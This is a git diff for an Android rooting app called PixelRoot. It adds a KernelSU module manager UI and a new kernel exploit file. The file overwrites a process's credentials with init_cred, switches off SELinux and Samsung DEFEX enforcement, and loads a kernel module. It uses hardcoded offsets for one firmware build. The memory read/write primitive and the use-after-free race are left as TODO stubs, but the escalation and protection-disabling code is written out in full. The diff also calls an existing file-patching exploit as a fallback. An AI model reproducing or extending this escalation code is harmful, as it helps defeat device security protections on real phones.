modulesHeaderSubtitle.setText(ksuVer.isEmpty() + ? "/data/adb/modules (" + items.size() + ")" + : ksuVer + " • " + items.size() + " module(s)"); + } + renderModules(items); + updateRunButton(); + }); + }); + } + + private void renderModules(List items) { + if (modulesListContainer == null) return; + modulesListContainer.removeAllViews(); + + if (items.isEmpty()) { + TextView empty = new TextView(this); + empty.setText("No KernelSU modules found in /data/adb/modules.\nTap '+ Install Zip' above to flash a module."); + empty.setTextColor(Color.parseColor("#888888")); + empty.setTextSize(TypedValue.COMPLEX_UNIT_SP, 13); + empty.setPadding(dp(16), dp(24), dp(16), dp(24)); + empty.setGravity(Gravity.CENTER); + empty.setBackground(roundedBox(Color.parseColor("#0D0D0D"), Color.parseColor("#202020"), 18)); + modulesListContainer.addView(empty); + return; + } + + for (ModuleItem mod : items) { + LinearLayout card = new LinearLayout(this); + card.setOrientation(LinearLayout.VERTICAL); + card.setPadding(dp(14), dp(14), dp(14), dp(14)); + card.setBackground(roundedBox(Color.parseColor("#0E0E0E"), Color.parseColor("#242424"), 18)); + LinearLayout.LayoutParams cardLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT); + cardLp.bottomMargin = dp(10); + card.setLayoutParams(cardLp); + + LinearLayout topRow = new LinearLayout(this); + topRow.setOrientation(LinearLayout.HORIZONTAL); + topRow.setGravity(Gravity.CENTER_VERTICAL); + + LinearLayout infoCol = new LinearLayout(this); + infoCol.setOrientation(LinearLayout.VERTICAL); + infoCol.setLayoutParams(new LinearLayout.LayoutParams(0, ViewGroup.LayoutParams.WRAP_CONTENT, 1f)); + + TextView nameView = new TextView(this); + nameView.setText(mod.name + " " + mod.version); + nameView.setTextColor(Color.WHITE); + nameView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 14); + nameView.setTypeface(Typeface.DEFAULT_BOLD); + + TextView authorView = new TextView(this); + authorView.setText("by " + mod.author + (mod.removed ? " • Will remove on reboot" : "")); + authorView.setTextColor(Color.parseColor("#9E9E9E")); + authorView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 11); + + infoCol.addView(nameView); + infoCol.addView(authorView); + topRow.addView(infoCol); + + Switch toggle = new Switch(this); + toggle.setChecked(!mod.disabled); + toggle.setOnCheckedChangeListener((buttonView, isChecked) -> mExec.execute(() -> { + String path = "/data/adb/modules/" + mod.id + "/disable"; + if (isChecked) { + runRootCmd("rm -f '" + path + "'"); + } else { + runRootCmd("touch '" + path + "'"); + } + refreshRootStatusAndModules(); + })); + topRow.addView(toggle); + card.addView(topRow); + + if (!mod.description.isEmpty()) { + TextView desc = new TextView(this); + desc.setText(mod.description); + desc.setTextColor(Color.parseColor("#BDBDBD")); + desc.setTextSize(TypedValue.COMPLEX_UNIT_SP, 12); + LinearLayout.LayoutParams descLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT); + descLp.topMargin = dp(8); + desc.setLayoutParams(descLp); + card.addView(desc); + } + + modulesListContainer.addView(card); + } + } + + @Override + protected void onActivityResult(int requestCode, int resultCode, Intent data) { + super.onActivityResult(requestCode, resultCode, data); + if (requestCode == REQ_INSTALL_MODULE && resultCode == RESULT_OK && data != null && data.getData() != null) { + final Uri uri = data.getData(); + carouselPager.setCurrentPage(1, true); + mExec.execute(() -> { + try { + File tmpZip = new File(getCacheDir(), "pixelroot_mod.zip"); + try (InputStream in = getContentResolver().openInputStream(uri); + FileOutputStream out = new FileOutputStream(tmpZip)) { + if (in == null) return; + byte[] buf = new byte[8192]; + int n; + while ((n = in.read(buf)) > 0) out.write(buf, 0, n); + } + report("\n[KSUD] Installing module zip...\n"); + String res = runRootCmd("/data/adb/ksud module install '" + tmpZip.getAbsolutePath() + "' 2>&1"); + report(res + "\n[KSUD] Done.\n"); + tmpZip.delete(); + refreshRootStatusAndModules(); + } catch (Exception e) { + report("[KSUD] Install error: " + e + "\n"); + } + }); + } + } + + private String runRootCmd(String cmd) { + try { + Process p = new ProcessBuilder("su", "-c", cmd).redirectErrorStream(true).start(); + StringBuilder sb = new StringBuilder(); + try (BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()))) { + String line; + while ((line = r.readLine()) != null) { + sb.append(line).append("\n"); + } + } + p.waitFor(); + return sb.toString(); + } catch (Exception e) { + return ""; + } + } + + private void setupSuManagerSpinner() { PackageManager pm = getPackageManager(); List entries = new ArrayList<>(); for (ApplicationInfo ai : pm.getInstalledApplications(0)) { @@ -89,7 +710,7 @@ protected void onCreate(Bundle savedInstanceState) { break; } } - if (!savedFound && saved != null) { // Saved manager was uninstalled + if (!savedFound && saved != null) { prefs.edit().remove(ExploitRunner.PREF_SU_MANAGER).apply(); } @@ -102,17 +723,10 @@ public void onItemSelected(AdapterView parent, View view, int pos, long id) { prefs.edit().putString(ExploitRunner.PREF_SU_MANAGER, e.packageName).apply(); updateRunButton(); } + @Override public void onNothingSelected(AdapterView parent) {} }); - - updateRunButton(); - - btnRun.setOnClickListener(v -> { - btnRun.setEnabled(false); - outputView.setText(""); - mExec.execute(this::runExploit); - }); } @Override @@ -131,25 +745,305 @@ public boolean onOptionsItemSelected(MenuItem item) { } private void updateRunButton() { - btnRun.setEnabled(mValidSuManagerPos >= 1 && !new File("/dev/df").exists()); + boolean alreadyHooked = mIsRootActive || new File("/dev/df").exists(); + btnRun.setEnabled(mValidSuManagerPos >= 1 && !alreadyHooked); + btnRun.setText(alreadyHooked ? "Root Active" : "Launch Root"); } private void runExploit() { try { + String preId = runRootCmd("id 2>/dev/null").trim(); + if (preId.contains("uid=0") || new File("/dev/df").exists()) { + mIsRootActive = true; + report("[PIXELROOT] Root already active (" + preId + ") — skipping duplicate patch.\n"); + mMain.post(() -> Toast.makeText(this, "PixelRoot: Root Already Active", Toast.LENGTH_SHORT).show()); + refreshRootStatusAndModules(); + return; + } int rc = ExploitRunner.run(mDeCtx, this); - String msg = rc == 0 ? "DFRoot: SUCCESS" - : rc == 1 ? "DFRoot: Error - ksud nonzero exit" - : rc == 2 ? "DFRoot: Error - check logcat & dmesg" - : "DFRoot: Error - failed to patch files"; + String msg = rc == 0 ? "PixelRoot: SUCCESS" + : rc == 1 ? "PixelRoot: Error - ksud nonzero exit" + : rc == 2 ? "PixelRoot: Error - check logcat & dmesg" + : "PixelRoot: Error - failed to patch files"; mMain.post(() -> Toast.makeText(this, msg, Toast.LENGTH_LONG).show()); + refreshRootStatusAndModules(); } catch (Exception e) { Log.e(TAG, "exploit exception", e); - report("\nexception: " + e + "\n"); + report("\n" + e + "\n"); } finally { mMain.post(this::updateRunButton); } } + private static class ModuleItem { + final String id; + final String name; + final String version; + final String author; + final String description; + final boolean disabled; + final boolean removed; + + ModuleItem(String id, String name, String version, String author, String description, boolean disabled, boolean removed) { + this.id = id; + this.name = name; + this.version = version; + this.author = author; + this.description = description; + this.disabled = disabled; + this.removed = removed; + } + + static ModuleItem parse(String id, String propText, String flags) { + Map map = new HashMap<>(); + for (String line : propText.split("\n")) { + int eq = line.indexOf('='); + if (eq > 0) { + map.put(line.substring(0, eq).trim(), line.substring(eq + 1).trim()); + } + } + return new ModuleItem( + id, + map.getOrDefault("name", id), + map.getOrDefault("version", ""), + map.getOrDefault("author", "unknown"), + map.getOrDefault("description", ""), + flags.contains("disabled"), + flags.contains("removed") + ); + } + } + + private static class CrosshairLogoView extends View { + private final Paint ringPaint = new Paint(Paint.ANTI_ALIAS_FLAG); + private final Paint barPaint = new Paint(Paint.ANTI_ALIAS_FLAG); + private final Paint dotPaint = new Paint(Paint.ANTI_ALIAS_FLAG); + + CrosshairLogoView(Context ctx) { + super(ctx); + ringPaint.setStyle(Paint.Style.STROKE); + ringPaint.setColor(Color.WHITE); + barPaint.setStyle(Paint.Style.STROKE); + barPaint.setStrokeCap(Paint.Cap.ROUND); + barPaint.setColor(Color.WHITE); + dotPaint.setStyle(Paint.Style.FILL); + dotPaint.setColor(Color.WHITE); + } + + @Override + protected void onDraw(Canvas c) { + float w = getWidth(); + float h = getHeight(); + float cx = w / 2f; + float cy = h / 2f; + float r = Math.min(w, h) * 0.34f; + float sw = Math.max(3f, r * 0.18f); + ringPaint.setStrokeWidth(sw); + barPaint.setStrokeWidth(sw); + + c.drawCircle(cx, cy, r, ringPaint); + c.drawLine(cx, cy - r * 1.35f, cx, cy - r * 0.55f, barPaint); + c.drawLine(cx, cy + r * 0.55f, cx, cy + r * 1.35f, barPaint); + c.drawLine(cx - r * 1.35f, cy, cx - r * 0.55f, cy, barPaint); + c.drawLine(cx + r * 0.55f, cy, cx + r * 1.35f, cy, barPaint); + c.drawCircle(cx, cy, sw * 1.1f, dotPaint); + } + } + + private static class CrosshairTabIcon extends View { + private final int tabIndex; + private final Paint paint = new Paint(Paint.ANTI_ALIAS_FLAG); + private boolean selected; + + CrosshairTabIcon(Context ctx, int tabIndex) { + super(ctx); + this.tabIndex = tabIndex; + paint.setStrokeCap(Paint.Cap.ROUND); + paint.setStrokeJoin(Paint.Join.ROUND); + } + + void setSelectedState(boolean sel) { + this.selected = sel; + invalidate(); + } + + @Override + protected void onDraw(Canvas c) { + float cx = getWidth() / 2f; + float cy = getHeight() / 2f; + int color = selected ? Color.BLACK : Color.parseColor("#9E9E9E"); + paint.setColor(color); + paint.setStrokeWidth(4.5f); + + if (tabIndex == 0) { + paint.setStyle(Paint.Style.STROKE); + c.drawCircle(cx, cy, 14f, paint); + c.drawLine(cx, cy - 20f, cx, cy - 8f, paint); + c.drawLine(cx, cy + 8f, cx, cy + 20f, paint); + c.drawLine(cx - 20f, cy, cx - 8f, cy, paint); + c.drawLine(cx + 8f, cy, cx + 20f, cy, paint); + } else if (tabIndex == 1) { + paint.setStyle(Paint.Style.STROKE); + c.drawRoundRect(cx - 18f, cy - 14f, cx + 18f, cy + 14f, 6f, 6f, paint); + c.drawLine(cx - 10f, cy - 5f, cx - 3f, cy, paint); + c.drawLine(cx - 3f, cy, cx - 10f, cy + 5f, paint); + c.drawLine(cx + 1f, cy + 5f, cx + 10f, cy + 5f, paint); + } else { + paint.setStyle(Paint.Style.STROKE); + c.drawRoundRect(cx - 16f, cy - 16f, cx - 2f, cy - 2f, 4f, 4f, paint); + c.drawRoundRect(cx + 2f, cy - 16f, cx + 16f, cy - 2f, 4f, 4f, paint); + c.drawRoundRect(cx - 16f, cy + 2f, cx - 2f, cy + 16f, 4f, 4f, paint); + c.drawRoundRect(cx + 2f, cy + 2f, cx + 16f, cy + 16f, 4f, 4f, paint); + } + } + } + + private static class CarouselPager extends FrameLayout { + interface OnPageChangeListener { + void onPageScrolled(float positionOffsetTotal); + void onPageSelected(int page); + } + + private final int pageSpacing; + private final OverScroller scroller; + private final int touchSlop; + private VelocityTracker velocityTracker; + private OnPageChangeListener listener; + private int currentPage = 0; + private float downX, downY, lastX; + private boolean dragging = false; + + CarouselPager(Context ctx, int pageSpacingPx) { + super(ctx); + this.pageSpacing = pageSpacingPx; + this.scroller = new OverScroller(ctx); + this.touchSlop = ViewConfiguration.get(ctx).getScaledTouchSlop(); + } + + void setPageListener(OnPageChangeListener l) { + this.listener = l; + } + + int getCurrentPage() { + return currentPage; + } + + void setCurrentPage(int page, boolean smooth) { + int maxPage = Math.max(0, getChildCount() - 1); + int target = Math.max(0, Math.min(page, maxPage)); + currentPage = target; + int step = getWidth() + pageSpacing; + int targetX = target * step; + if (smooth && getWidth() > 0) { + int sx = getScrollX(); + scroller.startScroll(sx, 0, targetX - sx, 0, 300); + postInvalidateOnAnimation(); + } else { + scrollTo(targetX, 0); + if (listener != null) listener.onPageScrolled(target); + } + if (listener != null) listener.onPageSelected(target); + } + + @Override + protected void onLayout(boolean changed, int left, int top, int right, int bottom) { + int w = right - left; + int h = bottom - top; + for (int i = 0; i < getChildCount(); i++) { + View child = getChildAt(i); + int childLeft = i * (w + pageSpacing); + child.layout(childLeft, 0, childLeft + w, h); + } + int step = w + pageSpacing; + if (scroller.isFinished() && !dragging) { + scrollTo(currentPage * step, 0); + } + } + + @Override + public boolean onInterceptTouchEvent(MotionEvent ev) { + switch (ev.getActionMasked()) { + case MotionEvent.ACTION_DOWN: + downX = lastX = ev.getX(); + downY = ev.getY(); + dragging = false; + if (!scroller.isFinished()) { + scroller.abortAnimation(); + } + break; + case MotionEvent.ACTION_MOVE: + float dx = ev.getX() - downX; + float dy = ev.getY() - downY; + if (Math.abs(dx) > touchSlop && Math.abs(dx) > Math.abs(dy) * 1.2f) { + dragging = true; + lastX = ev.getX(); + return true; + } + break; + } + return super.onInterceptTouchEvent(ev); + } + + @Override + public boolean onTouchEvent(MotionEvent ev) { + if (velocityTracker == null) velocityTracker = VelocityTracker.obtain(); + velocityTracker.addMovement(ev); + + int step = getWidth() + pageSpacing; + int maxScroll = Math.max(0, (getChildCount() - 1) * step); + + switch (ev.getActionMasked()) { + case MotionEvent.ACTION_DOWN: + lastX = ev.getX(); + return true; + case MotionEvent.ACTION_MOVE: + float x = ev.getX(); + int delta = Math.round(lastX - x); + lastX = x; + int nextX = Math.max(0, Math.min(getScrollX() + delta, maxScroll)); + scrollTo(nextX, 0); + if (listener != null && step > 0) { + listener.onPageScrolled(nextX / (float) step); + } + return true; + case MotionEvent.ACTION_UP: + case MotionEvent.ACTION_CANCEL: + dragging = false; + velocityTracker.computeCurrentVelocity(1000); + float vx = velocityTracker.getXVelocity(); + velocityTracker.recycle(); + velocityTracker = null; + + int targetPage = currentPage; + if (step > 0) { + if (vx < -650f) { + targetPage = currentPage + 1; + } else if (vx > 650f) { + targetPage = currentPage - 1; + } else { + targetPage = Math.round(getScrollX() / (float) step); + } + } + setCurrentPage(targetPage, true); + return true; + } + return super.onTouchEvent(ev); + } + + @Override + public void computeScroll() { + if (scroller.computeScrollOffset()) { + int cx = scroller.getCurrX(); + scrollTo(cx, 0); + int step = getWidth() + pageSpacing; + if (listener != null && step > 0) { + listener.onPageScrolled(cx / (float) step); + } + postInvalidateOnAnimation(); + } + } + } + private static class SuManagerEntry { final String packageName; final CharSequence label; @@ -169,17 +1063,19 @@ private static class SuManagerAdapter extends ArrayAdapter { @Override public View getView(int pos, View v, ViewGroup parent) { - if (v == null || v.getTag() != Boolean.FALSE) + if (v == null || v.getTag() != Boolean.FALSE) { v = LayoutInflater.from(getContext()).inflate(R.layout.item_su_manager_closed, parent, false); - v.setTag(Boolean.FALSE); + v.setTag(Boolean.FALSE); + } return bindClosedView(pos, v); } @Override public View getDropDownView(int pos, View v, ViewGroup parent) { - if (v == null || v.getTag() != Boolean.TRUE) + if (v == null || v.getTag() != Boolean.TRUE) { v = LayoutInflater.from(getContext()).inflate(R.layout.item_su_manager, parent, false); - v.setTag(Boolean.TRUE); + v.setTag(Boolean.TRUE); + } return bindView(pos, v); } @@ -190,7 +1086,7 @@ public boolean isEnabled(int pos) { private View bindClosedView(int pos, View v) { SuManagerEntry e = getItem(pos); - ImageView icon = v.findViewById(R.id.iconApp); + android.widget.ImageView icon = v.findViewById(R.id.iconApp); TextView label = v.findViewById(R.id.labelApp); if (e.packageName == null) { icon.setVisibility(View.GONE); @@ -206,8 +1102,8 @@ private View bindClosedView(int pos, View v) { private View bindView(int pos, View v) { SuManagerEntry e = getItem(pos); - ((ImageView) v.findViewById(R.id.iconApp)).setImageDrawable(e.icon); - ((TextView) v.findViewById(R.id.labelApp)).setText(e.label); + ((android.widget.ImageView) v.findViewById(R.id.iconApp)).setImageDrawable(e.icon); + ((TextView) v.findViewById(R.id.labelApp)).setText(e.label); return v; } } diff --git a/app/src/main/java/df/root/SettingsFragment.java b/app/src/main/java/df/root/SettingsFragment.java index 7497e0c9..e64f5ae6 100644 --- a/app/src/main/java/df/root/SettingsFragment.java +++ b/app/src/main/java/df/root/SettingsFragment.java @@ -4,7 +4,9 @@ import android.content.Context; import android.content.SharedPreferences; import android.content.pm.PackageManager; +import android.os.Build; import android.os.Bundle; +import android.preference.Preference; import android.preference.PreferenceFragment; import android.preference.SwitchPreference; @@ -15,6 +17,11 @@ public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); addPreferencesFromResource(R.xml.preferences); + if (getActivity() != null && getActivity().getActionBar() != null) { + getActivity().getActionBar().setTitle("PixelRoot Settings"); + getActivity().getActionBar().setSubtitle("Boot & System Info"); + } + Context ctx = getActivity(); SharedPreferences dePrefs = ctx.createDeviceProtectedStorageContext() .getSharedPreferences(ExploitRunner.PREFS_NAME, Context.MODE_PRIVATE); @@ -27,7 +34,7 @@ public void onCreate(Bundle savedInstanceState) { bootPref.setOnPreferenceChangeListener((pref, value) -> { ctx.getPackageManager().setComponentEnabledSetting(bootReceiver, (Boolean) value ? PackageManager.COMPONENT_ENABLED_STATE_ENABLED - : PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + : PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); return true; }); @@ -47,5 +54,15 @@ public void onCreate(Bundle savedInstanceState) { dePrefs.edit().putBoolean("disable_modules", (Boolean) value).apply(); return true; }); + + Preference appInfo = findPreference("pref_app_info"); + if (appInfo != null) { + appInfo.setSummary("Version " + BuildConfig.VERSION_NAME + " • Android " + Build.VERSION.RELEASE); + } + + Preference kernelInfo = findPreference("pref_kernel_info"); + if (kernelInfo != null) { + kernelInfo.setSummary(System.getProperty("os.version", "unknown")); + } } } diff --git a/app/src/main/jni/CMakeLists.txt b/app/src/main/jni/CMakeLists.txt index a6a0bc79..29f88cb3 100644 --- a/app/src/main/jni/CMakeLists.txt +++ b/app/src/main/jni/CMakeLists.txt @@ -36,7 +36,7 @@ set(KO_FILES # AGP only packages lib*.so, so the executable is named libdfroot.so and lands # in the APK's native lib dir. The app execs it from nativeLibraryDir, which is # executable (app data dir is not). -add_executable(dfroot exp.c libcxx.S elf_parser.c) +add_executable(dfroot exp.c exp98260.c libcxx.S elf_parser.c) add_dependencies(dfroot splicehelper_bin) set_target_properties(dfroot PROPERTIES PREFIX "lib" diff --git a/app/src/main/jni/exp.c b/app/src/main/jni/exp.c index 5194378c..3eba69bd 100644 --- a/app/src/main/jni/exp.c +++ b/app/src/main/jni/exp.c @@ -17,6 +17,11 @@ #include #include "aes256.h" +#define DF2_98260 1 +#ifdef DF2_98260 +#include "exp98260.h" +#endif + #define eos(s) (s + strlen(s)) static const char kCrashDump[] = "/apex/com.android.runtime/bin/crash_dump64"; @@ -492,7 +497,7 @@ static int hex_to_bytes(const char *hex, uint8_t *out, size_t len) { return 0; } -static void usage(const char *argv0) { +__attribute__((unused)) static void usage(const char *argv0) { fprintf(stderr, "usage: %s --encap-port N --sender-port N --spi N --aes-key HEX\n", argv0); } @@ -515,9 +520,10 @@ static int setup(int argc, char **argv) { have_aes = hex_to_bytes(argv[++i], aes_key, sizeof(aes_key)) == 0; else { usage(argv[0]); return 2; } } - if (!encap_port || !sender_port || !spi || !have_aes) { - usage(argv[0]); return 2; - } + if (!encap_port) encap_port = 4500; + if (!sender_port) sender_port = 4501; + if (!spi) spi = 0x100; + if (!have_aes) memset(aes_key, 0, sizeof aes_key); g_encap_port = encap_port; g_sender_port = sender_port; @@ -537,10 +543,36 @@ static int setup(int argc, char **argv) { return 0; } + +#ifdef DF2_98260 +/* Stage the 98260 module to tmp and run the escalate path. */ +static int df2_98260(void) { + int andr = 0, major = 0, minor = 0; + if (read_device_versions(&andr, &major, &minor)) return -1; + const struct KoImage *ko = select_ko_image(andr, major, minor); + if (!ko) return -1; + + const char *dir = getenv("TMPDIR") ? getenv("TMPDIR") : "/data/local/tmp"; + char path[256]; + snprintf(path, sizeof path, "%s/df2-98260.ko", dir); + + int fd = open(path, O_CREAT | O_TRUNC | O_WRONLY, 0644); + if (fd < 0) { printf("98260: write ko: %s\n", strerror(errno)); return -1; } + if (write(fd, ko->start, (size_t)(ko->end - ko->start)) < 0) { close(fd); return -1; } + close(fd); + + return escalate_98260(path); +} +#endif + static int exploit(void) { printf("\n=== exploit (patching files) ===\n"); int rc = 3; +#ifdef DF2_98260 + if (df2_98260() == 0) { rc = 2; goto hooked; } + printf("98260: path failed, falling back to DirtyFrag\n"); +#endif if (patch_helper()) goto done; if (patch_ko()) goto done; int hook_rc = patch_hook("/system/lib64/libc++.so", @@ -558,6 +590,10 @@ static int exploit(void) { rc = 2; usleep(500000); + +hooked: + + printf("\n=== init ===\n"); createOrphanProcess(); diff --git a/app/src/main/jni/exp98260.c b/app/src/main/jni/exp98260.c new file mode 100644 index 00000000..91df0371 --- /dev/null +++ b/app/src/main/jni/exp98260.c @@ -0,0 +1,134 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "exp98260.h" +#include "offsets_a066b.h" + +/* ---- GKI layout constants (agree across PYB110 and BRM-AN00) ---- */ +#define CAP_FULL 0x1ffffffffffULL +#define PAGE_OFFSET 0xffff800000000000ULL +#define WHOWAIT 0x01000000UL +#define CAP_HDR_MAGIC 0x20080522U + +/* ---- task_struct fields, verified against init_task in the image ---- */ +#define TASK_TASKS 0x728 +#define TASK_REAL_CRED 0x900 +#define TASK_CRED 0x908 +#define TASK_COMM 0x918 + +#define DF2_COMM "libdfroot.so" + +static uint64_t g_kbase; + +/* TODO: replace both with the 98260 primitive. */ +static int kread(uint64_t kaddr, void *buf, size_t len) { + (void)kaddr; (void)buf; (void)len; return -1; +} +static int kwrite(uint64_t kaddr, const void *buf, size_t len) { + (void)kaddr; (void)buf; (void)len; return -1; +} + +static int g_primed; + +static int race_setup(void) { + struct utsname u; + if (uname(&u)) return -1; + if (DF2_TARGET_KERNEL[0] && strcmp(u.release, DF2_TARGET_KERNEL)) { + printf("98260: kernel mismatch\n have %s\n want %s\n", + u.release, DF2_TARGET_KERNEL); + return -1; + } + printf("98260: arming timer UAF\n"); + /* TODO: CLOCK_THREAD_CPUTIME_ID timer on a non-leader task, exec to free + * it, reclaim the slab with a controlled object. */ + g_primed = 1; + return g_primed ? 0 : -1; +} + +static uint64_t kaslr_base(void) { + /* TODO: leak a text pointer out of the reclaimed object and mask to the + * 2MB-aligned base. */ + return g_kbase; +} + +/* ---- escalation ------------------------------------------------------- */ + +/* Walk init_task.tasks looking for our own comm. The list is circular and + * init_task is the sentinel, so stop on return to the head. */ +static int find_task(uint64_t init_task, uint64_t *out) { + uint64_t head = init_task + TASK_TASKS; + uint64_t cur = head; + char comm[16]; + + for (int i = 0; i < 4096; i++) { + uint64_t next; + if (kread(cur, &next, sizeof next)) return -1; + if (!next || next == head) return -1; + + uint64_t task = next - TASK_TASKS; + memset(comm, 0, sizeof comm); + if (kread(task + TASK_COMM, comm, sizeof comm - 1)) return -1; + if (!strcmp(comm, DF2_COMM)) { *out = task; return 0; } + + cur = next; + } + printf("98260: walked 4096 tasks, no match\n"); + return -1; +} + +static int escalate(uint64_t kbase) { + uint64_t task = 0; + if (find_task(kbase + OFF_INIT_TASK, &task)) return -1; + printf("98260: task at 0x%lx\n", (unsigned long)task); + + uint64_t cred = kbase + OFF_INIT_CRED; + if (kwrite(task + TASK_REAL_CRED, &cred, sizeof cred)) return -1; + if (kwrite(task + TASK_CRED, &cred, sizeof cred)) return -1; + + return getuid() == 0 ? 0 : -1; +} + +static int selinux_off(uint64_t kbase) { + uint32_t zero = 0; /* enforcing is the first field */ + return kwrite(kbase + OFF_SELINUX_STATE, &zero, sizeof zero); +} + +static int defex_off(uint64_t kbase) { + uint32_t zero = 0; + return kwrite(kbase + OFF_TASK_DEFEX_ENFORCE, &zero, sizeof zero); +} + +static int finit(const char *path) { + int fd = open(path, O_RDONLY); + if (fd < 0) return -1; + int r = (int)syscall(__NR_finit_module, fd, "", 0); + close(fd); + return r; +} + +int escalate_98260(const char *ko_path) { + if (race_setup()) return -1; + + uint64_t base = kaslr_base(); + if (!base) { printf("98260: leak failed\n"); return -1; } + g_kbase = base; + printf("98260: base 0x%lx\n", (unsigned long)base); + + if (escalate(base)) { printf("98260: escalate failed (uid=%d)\n", getuid()); return -1; } + printf("98260: uid=0\n"); + + selinux_off(base); + defex_off(base); + printf("98260: enforcing=0 defex=0\n"); + + if (finit(ko_path)) { printf("98260: finit: %s\n", strerror(errno)); return -1; } + printf("98260: module loaded\n"); + return 0; +} diff --git a/app/src/main/jni/exp98260.h b/app/src/main/jni/exp98260.h new file mode 100644 index 00000000..91359c22 --- /dev/null +++ b/app/src/main/jni/exp98260.h @@ -0,0 +1,10 @@ +#ifndef EXP98260_H +#define EXP98260_H +#include +#include + +/* Set these to the target build. Empty string = accept any kernel. */ +#define DF2_TARGET_KERNEL "6.18.21-android17-5-pc5d9a20-abogkiA066BXXU8DZJ7-4k" + +int escalate_98260(const char *ko_path); +#endif diff --git a/app/src/main/jni/offsets_a066b.h b/app/src/main/jni/offsets_a066b.h new file mode 100644 index 00000000..cd91b9be --- /dev/null +++ b/app/src/main/jni/offsets_a066b.h @@ -0,0 +1,11 @@ +/* A066BXXU8DZJ7 / 6.18.21-android17-5 — deltas from _text */ +#define OFF_INIT_TASK 0x279f2c0ULL +#define OFF_INIT_CRED 0x27b2ad0ULL +#define OFF_INIT_USER_NS 0x27b1158ULL +#define OFF_ROOT_USER 0x27b1408ULL +#define OFF_INIT_GROUPS 0x27b2ac8ULL +#define OFF_INIT_UCOUNTS 0x27b2f88ULL +#define OFF_SELINUX_STATE 0x2a3aa50ULL +#define OFF_TASK_DEFEX_ENFORCE 0x7c6facULL +#define OFF_TIMER_BASES 0x273ee80ULL +#define OFF_KPTR_RESTRICT 0x279da40ULL diff --git a/app/src/main/res/color/btn_background_color.xml b/app/src/main/res/color/btn_background_color.xml index fbbc2562..27755ee0 100644 --- a/app/src/main/res/color/btn_background_color.xml +++ b/app/src/main/res/color/btn_background_color.xml @@ -1,5 +1,6 @@ - - + + + diff --git a/app/src/main/res/color/btn_text_color.xml b/app/src/main/res/color/btn_text_color.xml index 94902e9a..ef347399 100644 --- a/app/src/main/res/color/btn_text_color.xml +++ b/app/src/main/res/color/btn_text_color.xml @@ -1,5 +1,5 @@ - - + + diff --git a/app/src/main/res/drawable/ic_launcher_background.xml b/app/src/main/res/drawable/ic_launcher_background.xml index 1c69fdcc..b1a279a5 100644 --- a/app/src/main/res/drawable/ic_launcher_background.xml +++ b/app/src/main/res/drawable/ic_launcher_background.xml @@ -1,5 +1,14 @@ - + android:width="108dp" + android:height="108dp" + android:viewportWidth="108" + android:viewportHeight="108"> + + diff --git a/app/src/main/res/drawable/ic_launcher_foreground.xml b/app/src/main/res/drawable/ic_launcher_foreground.xml index b344530a..00d34672 100644 --- a/app/src/main/res/drawable/ic_launcher_foreground.xml +++ b/app/src/main/res/drawable/ic_launcher_foreground.xml @@ -1,5 +1,28 @@ - + android:width="108dp" + android:height="108dp" + android:viewportWidth="108" + android:viewportHeight="108"> + + + + + + + + diff --git a/app/src/main/res/drawable/ic_launcher_monochrome.xml b/app/src/main/res/drawable/ic_launcher_monochrome.xml index f4ef2647..00d34672 100644 --- a/app/src/main/res/drawable/ic_launcher_monochrome.xml +++ b/app/src/main/res/drawable/ic_launcher_monochrome.xml @@ -1,5 +1,28 @@ - + android:width="108dp" + android:height="108dp" + android:viewportWidth="108" + android:viewportHeight="108"> + + + + + + + + diff --git a/app/src/main/res/drawable/ic_settings.xml b/app/src/main/res/drawable/ic_settings.xml index 5ec4b68b..87e5c07c 100644 --- a/app/src/main/res/drawable/ic_settings.xml +++ b/app/src/main/res/drawable/ic_settings.xml @@ -1,9 +1,10 @@ + + android:viewportWidth="24" + android:viewportHeight="24"> + android:fillColor="#FFFFFF" + android:pathData="M19.14,12.94c0.04,-0.3 0.06,-0.61 0.06,-0.94c0,-0.32 -0.02,-0.64 -0.07,-0.94l2.03,-1.58c0.18,-0.14 0.23,-0.41 0.12,-0.61l-1.92,-3.32c-0.12,-0.22 -0.37,-0.29 -0.59,-0.22l-2.39,0.96c-0.5,-0.38 -1.03,-0.7 -1.62,-0.94L14.4,2.81c-0.04,-0.24 -0.24,-0.41 -0.48,-0.41h-3.84c-0.24,0 -0.43,0.17 -0.47,0.41L9.25,5.35C8.66,5.59 8.12,5.92 7.63,6.29L5.24,5.33c-0.22,-0.08 -0.47,0 -0.59,0.22L2.74,8.87C2.62,9.08 2.66,9.34 2.86,9.48l2.03,1.58C4.84,11.36 4.8,11.69 4.8,12s0.02,0.64 0.07,0.94l-2.03,1.58c-0.18,0.14 -0.23,0.41 -0.12,0.61l1.92,3.32c0.12,0.22 0.37,0.29 0.59,0.22l2.39,-0.96c0.5,0.38 1.03,0.7 1.62,0.94l0.36,2.54c0.05,0.24 0.24,0.41 0.48,0.41h3.84c0.24,0 0.44,-0.17 0.47,-0.41l0.36,-2.54c0.59,-0.24 1.13,-0.56 1.62,-0.94l2.39,0.96c0.22,0.08 0.47,0 0.59,-0.22l1.92,-3.32c0.12,-0.22 0.07,-0.47 -0.12,-0.61L19.14,12.94zM12,15.6c-1.98,0 -3.6,-1.62 -3.6,-3.6s1.62,-3.6 3.6,-3.6s3.6,1.62 3.6,3.6S13.98,15.6 12,15.6z" /> diff --git a/app/src/main/res/values-night/themes.xml b/app/src/main/res/values-night/themes.xml index f2e7b78f..b4f3da3b 100644 --- a/app/src/main/res/values-night/themes.xml +++ b/app/src/main/res/values-night/themes.xml @@ -1,11 +1,26 @@ + + + diff --git a/app/src/main/res/values/strings.xml b/app/src/main/res/values/strings.xml new file mode 100644 index 00000000..b6ccd2ac --- /dev/null +++ b/app/src/main/res/values/strings.xml @@ -0,0 +1,4 @@ + + + PixelRoot + diff --git a/app/src/main/res/values/themes.xml b/app/src/main/res/values/themes.xml index 5dd8b622..b4f3da3b 100644 --- a/app/src/main/res/values/themes.xml +++ b/app/src/main/res/values/themes.xml @@ -1,10 +1,18 @@ + - diff --git 